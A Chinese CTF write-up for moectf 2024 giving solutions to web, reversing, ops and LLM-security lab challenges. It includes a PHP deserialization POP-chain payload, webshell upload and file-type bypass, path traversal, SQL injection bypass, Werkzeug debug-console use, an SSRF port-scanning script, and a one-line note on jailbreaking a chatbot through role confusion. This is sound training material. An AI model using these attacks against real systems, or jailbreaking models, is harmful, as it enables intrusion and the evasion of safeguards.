moectf-wp

发布于 2024-09-30  74 次阅读


moectf-wp

WEB

Web渗透测试与审计入门指北

搭建起php即可得

b063326fc0d70aeab5dec63dc39100f8

moectf{H3r3'5_@_fIYinG_klss_f0r_yoU!}

弗拉格之地的入口

使用爬虫爬出页面

bb4124e6c30be506d5163149afafc646

moectf{c0nGratULaTI0n_F0r_KnOw1ng-Ro60ts-tXtceee}

ez_http

按照要求改头可得

0801a5625906ab5e2e88ce104547b1eb

9edec0bbf5e9efab75176c77d21b1db8

moectf{Y0u-4re-RE4LLY-rEal1Y-VERy_CLeV3r!!!1asee}

ProveYourLove

**crush** 表白叭,300份才能证明你的爱!

所以要提交300份,前端有个验证禁止重复提交的,使用的是localStorage储存在本地的数据

image-20240814210022856

image-20240814211210522

到应用处改掉即可

8e435c85ec7142b38a98d329f21b8d68

抓包后传300份,就可以了

5c5fa742fe987e067567c344fe43e15c

moectf{CONgR@Tul@T1oNs_oN_bECoMiNg-A_liCKiNG-doG129}

弗拉格之地的挑战

一个连环闯关

F12大法

image-20240814212122554

传回的包值

22f24c08f4621c409e9cbef632ce3602

按照其要求修改包

fca9da585390691ca573ada60e6cc37e

dbc6e6ec9bdb3654f49b35e1991e44cc

有来源的限制,修改OriginReferer

0ac2d96ce0ce3564257fc0f106b5c5ea

在前端多加一个9的按钮

image-20240814214718254

b5012f2005dedb9aff7ab3ffde7bcff2

image-20240814215214586

直接提交post表单

image-20240814215341576

/i的大小写不敏感

a4b1b622d0e86e4d35f18d55bb7f9288

有回显,传post执行指令即可

d33805666f789393c14ae43e7441ff6d

最后得到

flag1: bW9lY3Rm

flag2:e0FmdEV

flag3: yX3RoMXN

flag4: fdFVUMHJ

flag5: fSV90aDF

flag6: rZV9VX2t

flag7: rbm93X1dlQn0=

bW9lY3Rme0FmdEVyX3RoMXNfdFVUMHJfSV90aDFrZV9VX2trbm93X1dlQn0=

base64解码

moectf{AftEr_th1s_tUT0r_I_th1ke_U_kknow_WeB}

pop moe

构造pop链

<?php

class class000 {
    private $payl0ad = 1;
    protected $what;
    public function ggg($aaaaa)
    {
        $this->what=$aaaaa;
    }
}

class class001 {
    public $payl0ad;
    public $a;
}

class class002 {
    private $sec;
    public function ggg($aaaaa)
    {
        $this->sec=$aaaaa;
    }

}

class class003 {
    public $mystr;
}

$c3 = new class003;
$c2 = new class002;
$c1 = new class001;
$c0 = new class000;
$c1->payl0ad='dangerous';
$c3->mystr='phpinfo();';
$c2->ggg($c3);
$c1->a=$c2;

$c0->ggg($c1);

$serialized = serialize($c0);
echo urlencode($serialized);

闹了点小乌龙,忘记看phpinfo()了(

image-20240814221130117

moectf{lt-5EEm5_Th@T_Y0U-knOW_WH4T_is-P0p-1n_pHPpPpPPP!!!61}

ImageCloud前置

d917fc3c2baf6ea307142aa2ab2db6ae

moectf{i_am-v3rYsORry@6OUt_THl517a71c92}

垫刀之路系列

垫刀一

image-20240829155333186

moectf{w31cOMe_T0_m0EctF_aND-R04d1-5TARTuP-by_sxrHhH7a}

垫刀二

传马

image-20240829155924777

链接后看php -i

image-20240829160051515

moectf{uplOad-Y0uR_p4y10aD_AND_DO-wHat_y0ur_WaNT574}

垫刀三

改包改回后缀即可

33b511f981c4e0acf9626d8ad8417b0a

moectf{BYpASS_tH3_mIm3-tyPE-4ND_EXt3N51On_You_caN_D0_iT2}

垫刀四

113efffec4883155e3f5425d064de510

moectf{crO55-thE-DiR3cTOry_4ND-Y0u-mAY-F1ND-etC-P@55WD16}

垫刀五

ca224440a75a5edc412d11643f90e78c

moectf{havE_th3-USeFu1_P4s5W0RD-@nD_Go-3veRywhere_oN1Y_sQl_can_do0}

垫刀六

4a738f38fe28e2300850db2cb579b213

moectf{pl3a5e_K1CK_CFbB_b3C4Us3-he-rA1SE_popmO3-in_weEk1_haha0}

垫刀七

给出pin码,直接访问/console路由(要127.0.0.1)

要重定向输出,这里用了import subprocess

image-20240831013422756

moectf{d0nT_u51NG_Fl45k-6Y_D36Ug_mOD_4Nd-IEaK-YOUR-PiN8}

静态网页

image-20240829165214176

image-20240829165239159

image-20240829172425379

image-20240829172438871

md5爆破

#include <iostream>
#include <string>
#include <openssl/md5.h>
#include <thread>
#include <vector>
#include <atomic>
#include <cstdlib>
#include <ctime>

const std::string CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";

std::string generate_random_string(size_t length) {
    std::string str = "0e";  // 初始设置字符串以 "0e" 开头
    for (size_t i = 2; i < length; ++i) {  // 从索引2开始填充,因为0和1已经被 "0e" 占用
        str += CHARS[rand() % CHARS.size()];
    }
    return str;
}

std::string md5(const std::string& input) {
    unsigned char digest[MD5_DIGEST_LENGTH];
    MD5((unsigned char*)input.c_str(), input.size(), (unsigned char*)&digest);

    char md5_string[33];
    for (int i = 0; i < 16; ++i) {
        sprintf(&md5_string[i * 2], "%02x", (unsigned int)digest[i]);
    }
    return std::string(md5_string);
}

bool is_interesting(const std::string& hash) {
    return hash.substr(0, 2) == "0e" && hash.substr(2).find_first_not_of("0123456789") == std::string::npos;
}

void find_collision(std::atomic<bool>& found, size_t string_size) {
    while (!found.load()) {
        std::string random_string = generate_random_string(string_size);
        std::string hash = md5(random_string);

        if (is_interesting(hash)) {
            found.store(true);
            std::cout << "Found: " << random_string << " => " << hash << std::endl;
        }
    }
}

int main() {
    srand(time(0));
    size_t string_size = 20;  // 调整字符串长度以包括 "0e" 的两个字符
    std::atomic<bool> found(false);
    unsigned int num_threads = std::thread::hardware_concurrency();

    std::vector<std::thread> threads;
    for (unsigned int i = 0; i < num_threads; ++i) {
        threads.emplace_back(find_collision, std::ref(found), string_size);
    }

    for (auto& t : threads) {
        t.join();
    }

    return 0;
}

Found: 0eTkNsTreBs8G6VEXVB5 => 0e037642729645899252730799844376

后面纯数字在对比时才不会被识别为文本

image-20240821181739168

moectf{iS-my_wlfE-p10-cHAn-cUte-or_YOUr_WlfE-15_PHP?ce}

电院_Backend

考sql绕过

给了源代码,本地搭建环境测试

cc9980aa2661e942749cae9daea8ad3b

绕过成功

b8dd3a09c10f88bfefa9ff43239d953c

moectf{I-d1D-n0t_eXpECt_YOu-TO-B3-5O-5TRONG8c2bd}

勇闯铜人阵

写个脚本自动化

import requests
from bs4 import BeautifulSoup
import sys  

session = requests.Session()
url = "http://192.168.3.201:1790"
session.headers.update({"Content-Type": "application/x-www-form-urlencoded"})

# 定义方向
direction_map = {
    "1": "北方",
    "2": "东北方",
    "3": "东方",
    "4": "东南方",
    "5": "南方",
    "6": "西南方",
    "7": "西方",
    "8": "西北方",
}

def send_post_request(data):
    response = session.post(url, data=data)
    print(f"发送到 {url} 的POST请求:")
    print(f"Headers: {session.headers}")
    print(f"Data: {data}")
    return response

def process_response(response):
    soup = BeautifulSoup(response.text, "html.parser")
    status_element = soup.find(id="status")

    if status_element:
        status = status_element.text.strip()
        return status
    else:
        print("未找到状态元素,网页内容如下:")
        print(response.text)
        sys.exit("脚本停止执行。")

data = {"player": "xz", "direct": "弟子明白"}
response = send_post_request(data)

while True:
    status = process_response(response)

    if "," in status:
        directions = [direction_map[s.strip()] for s in status.split(",")]
        response_message = ",".join([f"{dir}一个" for dir in directions])
        print(f"发送指令: {response_message}")
        for direction in directions:
            data["direct"] = direction
            response = send_post_request(data)
    else:
        if status in direction_map:
            print(f"发送指令: {direction_map[status]}")
            data["direct"] = direction_map[status]
            response = send_post_request(data)
        else:
            print("未找到有效的状态。网页内容如下:")
            print(response.text)
            sys.exit("脚本停止执行。")

moectf{w31llI_y0u_PAS5-Th3-ChAl1ENgE-FRRrRr0M_T0NR3nb}

ImageCloud

分析源码可知

image-20240829175335765

是两个服务,一个本地一个外网

import requests

base_url = "http://192.168.3.201:9123/image?url=http://localhost:{port}/image/flag.jpg"

# 遍历端口范围
for port in range(5001, 6001):
    try:
        url = base_url.format(port=port)
        # 发起请求
        response = requests.get(url, timeout=5)
        print(port)
        if "无法加载图片" not in response.text:
            print(f"成功连接到端口 {port}")
            print(response.text)
            break 
    except requests.exceptions.RequestException as e:
        print(f"连接到端口 {port} 失败: {e}")

6e4e3931bab15fbdbd92edf2d8d1fbc7

moectf{CetTeBR4Te-yOU-AttAck_t0-mY_tM4gE-cT0UdHhHHHH386}

RE

逆向工程入门指北

签到题运行即可得

#include <iostream>
int main()
{
char password_enc[] = { 
123, 121, 115, 117, 98, 112, 109, 100, 37, 96, 37, 100, 101, 37, 73, 39,
101, 73, 119, 73, 122, 121, 120, 113, 73, 122, 121, 120, 113, 73, 97, 119, 
111, 73, 98, 121, 73, 115, 110, 102, 122, 121, 100, 115, 107, 22 };
// 因为a^b=c时, b^c=a, 所以我们可以这样还原数据:
char password[47];
for (int i = 0; i < 46; i++) {
password[i] = password_enc[i] ^ 22;
}
password[46] = 0; // 使用0字符来截断掉%s的无尽输出..
printf("%s\n", password); // 哈哈,这就是本题的f l a g,自己运行一下交上去吧!
return 0;
}

moectf{r3v3rs3_1s_a_long_long_way_to_explore}

xor

44个字符分别异或0x24得到的

image-20240815140636957

image-20240815140733632

异或回去就可以了

image-20240815140825711

moectf{e82b478d-f2b8-44f9-b100-320edd20c6d0}

TEA

image-20240815141054046

倒过来跑一遍就可以,要注意类型

加法的优先级是比异或高的,所以是这样逆

int main() {
    unsigned long v5=0x3910C558;
    unsigned long  v4=0x284C2234;
    unsigned long  v3=0xFFFFFFF3C6EF3720;
    for (int i = 0; i < 32; ++i) {
        v5-=(v4+v3)^(16*v4+0x61657472) ^ ((v4 >> 5) + 0x61657478);
        v4-=(v5 + v3) ^ (16 * v5 + 0x65736162) ^ ((v5 >> 5) +0x6F783436);
        v3+=0x61C88647;
    }
    unsigned  long v11 = v5 >> 16;
    unsigned  long v9 = v5 & 0xFFFF;
    printf("解密后的数值 = %x\r\n", v4);
    printf("解密后的数值 = %x\r\n", v11);
    printf("解密后的数值 = %x\r\n", v9);
    std::cout<<"moectf{"<< std::hex<<v4<<"-"<< std::hex<<v11<<"-"<< std::hex<<v9<<"-9c42-caf30620caaf}";

}

moectf{836153a5-8e00-49bd-9c42-caf30620caaf}

逆向工程进阶之北

题目如下

void flag_encryption(unsigned char* input)
{
size_t len = strlen((const char*)input);
if (len != 44)
{
std::cout << "length error!";
return;
}
unsigned int* p = (unsigned int*)input;
for (int i = 0; i < 11; i++)
{
*(p + i) = (*(p + i) * 0xccffbbbb + 0xdeadc0de) ^ 0xdeadbeef + 0xd3906;
std::cout << ", 0x" << std::hex << *(p + i) << ' ';
}
std::cout << std::endl;
// 0xb5073388 , 0xf58ea46f , 0x8cd2d760 , 0x7fc56cda , 0x52bc07da , 0x29054b48 , 0x42d74750 , 0x11297e95 , 0x5cf2821b , 0x747970da , 0x64793c81
}
int main()
{
unsigned char a[] = "moectf{f4k3__flag__here_true_flag_in_s3cr3t}";
flag_encryption(a);
return 0;
}

也是逆,要注意的是求逆元和指针的本质,求逆元直接用py的函数,pow(0xCCFFBBBB, -1, 2^32)

逆元中,n的大小取决于类型,这里我用的是unsigned int所以类型是2的32次方

后面打印flag的时候应该打印原数组(别傻傻打印指针了)

然后得到

#include <vector>
#include <openssl/md5.h>
#include <iostream>
#include <sstream>
#include <iomanip>
#include <string.h>
#include <iostream>
#include <algorithm>

unsigned int jie(unsigned int t){
        unsigned int
        yy=t^(0xdeadbeef+0xd3906);
        yy =yy-0xdeadc0de;
        yy=yy*0x8d61d173;
        return yy;
}
    int main()
    {
    std::vector<unsigned int> ttt={0xb5073388 , 0xf58ea46f , 0x8cd2d760 , 0x7fc56cda , 0x52bc07da , 0x29054b48 ,0x42d74750 , 0x11297e95 , 0x5cf2821b , 0x747970da , 0x64793c81};
        for (int i = 0; i <11; ++i) {
           std::cout<<",0x"<< std::hex <<jie(ttt[i])<<"";
        }
        unsigned char b[] = "moectf{f4k3__flag__here_true_flag_in_s3cr3t}";
        unsigned char *a=b;
        std::vector<unsigned int> e={0x63656f6d,0x637b6674,0x34346635,0x2d323363,0x39626263,0x3434342d,0x65612d65,0x632d3466,0x37616630,0x36613763,0x7d613762};
        unsigned int* p = (unsigned int*)a;
        for (int i = 0; i <11; ++i) {
           std::cout<< std::hex <<e[i]<<"\n";
            *(p+i)=e[i];
        }
        for (int i = 0; i < 44; ++i) {
          printf("%c",a[i]);
        }
    }

moectf{c5f44c32-cbb9-444e-aef4-c0fa7c7a6b7a}

SecretModule

把模块解包,得到里面会这样加载

#!/bin/bash
 eval   "$(     printf 'QlpoOTFBWSZTWZspxEUAAfxfgFAwdef/6zfHz6D/79/uQAJSu07tCQ1BI09E9Q0DINA9TQA2oAAA0NAlCFPRpM0mjSNR+hIaek0AHqaGj1PUNNMeqDSEJ6gNBo0NNAAZNGjI0NBoAAlEjEo8ppp6NPVGCaaNNMR6g9EBoPUGgPAecJO66TH6u4xdFeH8fRdR4OSNOqLoVm2I39FZSS/irDMIJmggh2EyQovQos26HmeniQH4iRSw0JeeVV2C9E8NkJh+VZwioAZj5QpGcdTmdOSMoYLaiaaa8oZEhIRgQbKjP7VIopzl53axe+MJxXTyrg/duKuBYecUVQUUTMptuykt+JqZZmJSM0dQ/YaHpifbwN3wN0NYRAEYC0tkI6uE4GkS9r1eFB9zyCBef6dnGYwKo8BylS24xNYsXSUXIYpZC3fzxlQKVBUwrBawin+AaDPkLwbCSQNge45QjrBfoNLEJSWk8C0ajKPu8NORzYlfqGgjOQOQQ0YG7gCRaWFD6wkguEqEUi6bSFTxLE4Y3+pziYRKFVet5X1CrnXc2jLN+9tMTJ8beC0ED5k1K7n22efCha1ci53zQHgQBUKLg1Q3hPZoMCAp0g48QN02037Qy891pyxa+vZU5msKnsJryCXKyBdrCrWXljrC/S6i3MBzRikY4kZzLw7v8aL7oOYKGRkUCWxelwUWFKIOQyImQVnIKicgYFqJYjeY1CMSgaiR4dqQ7MomJ6LdpOEtDOvfhjsEplnGTvSo3NV1KnALfTTYMeOUngApQKa8IExBIGZhafHgZZjI0HAKg6bcV5QwiUHCoorQaSWUvNMLgejbZ/QJA9QFWitiup+KyAU5uTergMVuJ5jj/xdyRThQkJspxEU='   | base64   -d   |   bunzip2  -c    )"   

那就顺着执行得到

testk() {
  echo "Welcome to the Secret module!But before you begin,you need to prove your self."
  (/system/bin/getevent -lc 1 2>&1 | /system/bin/grep VOLUME | /system/bin/grep " DOWN" > $MODPATH/events) || return 1
  return 0
}   

choose() {
  while true; do
    /system/bin/getevent -lc 1 2>&1 | /system/bin/grep VOLUME | /system/bin/grep " DOWN" > $MODPATH/events
    if (`cat $MODPATH/events 2>/dev/null | /system/bin/grep VOLUME >/dev/null`); then
      break
    fi
  done
  if (`cat $MODPATH/events 2>/dev/null | /system/bin/grep VOLUMEUP >/dev/null`); then
    echo "114514"
  else
    echo "1919810"
  fi
}

if testk; then
  ui_print "Great! Now enter the secret."

else
  ui_print "Legacy Device. Use a newer device to do this challenge"
  exit
fi

concatenated=""

for i in 1 2 3 4 5 6 7
do
  result=$(choose)
  concatenated="${concatenated}${result}"
done

input_str=$(echo -n $concatenated | md5sum | awk '{print $1}')
sec="77a58d62b2c0870132bfe8e8ea3ad7f1"
if test $input_str = $sec
then
    echo 'You are right!Flag is'
    echo "moectf{$concatenated}"
else
    echo 'Wrong. Try again.'
    exit
fi

可以知道是"114514""1919810"的7次排列组合,那就遍历其md5看看哪个和77a58d62b2c0870132bfe8e8ea3ad7f1一致就好

用了openssl的库

#include <vector>
#include <openssl/md5.h>
#include <iostream>
#include <sstream>
#include <iomanip>

std::string stringToMD5(const std::string& input) {
    unsigned char digest[MD5_DIGEST_LENGTH];
    MD5((unsigned char*)input.c_str(), input.length(), digest);

    // 将哈希值转换为十六进制字符串
    std::stringstream ss;
    for (int i = 0; i < MD5_DIGEST_LENGTH; i++) {
        ss << std::hex << std::setw(2) << std::setfill('0') << (int)digest[i];
    }
    return ss.str();
}

int main() {
    std::string y="114514";
    std::string b="1919810";
    std::vector<std::string> test;
    test.push_back("");
    for (int j = 0; j < 7; ++j) {
        for (int i = 0; i < 2; ++i) {
            if (i==0){
                int s= test.size();
                for (int k = 0; k < s; ++k) {
                    test.push_back(test[k]+b);
                }
            } else{
                int s= test.size();
                for (int k = 0; k < s/2; ++k) {
                    test[k] += y;
                }
            }
        }
    }
    for (int i = 0; i < test.size(); ++i) {
        std::string rrrr="77a58d62b2c0870132bfe8e8ea3ad7f1";
        std::string dddd=test[i];

        if ( rrrr == stringToMD5(dddd)){
            std::cout<<test[i];
        }
    }
}

得到114514114514191981011451411451419198101919810

包上头就是了

moectf{114514114514191981011451411451419198101919810}

开发与运维基础

哦不!我的libc!

偷懒非预期解了

因为就在根目录而且sh能用,直接cd/

然后用sh写一个读取文件内容打印就有了

while IFS= read -r line; do
    echo "$line"
done < flag.txt

17daeff6c1c246186fa15c89557448f7

moectf{Bu5y6oX-i5_s0OoOO0Io00000OOO0OO0o00Oo0o-bUSy8}

大语言模型应用安全

Neuro?

混淆角色,给个饼干就可以了

c43e77debb84ee236e61c70f17a9a86d

moectf{755809637d47c6b8}

QQ:2219349024
最后更新于 2024-09-30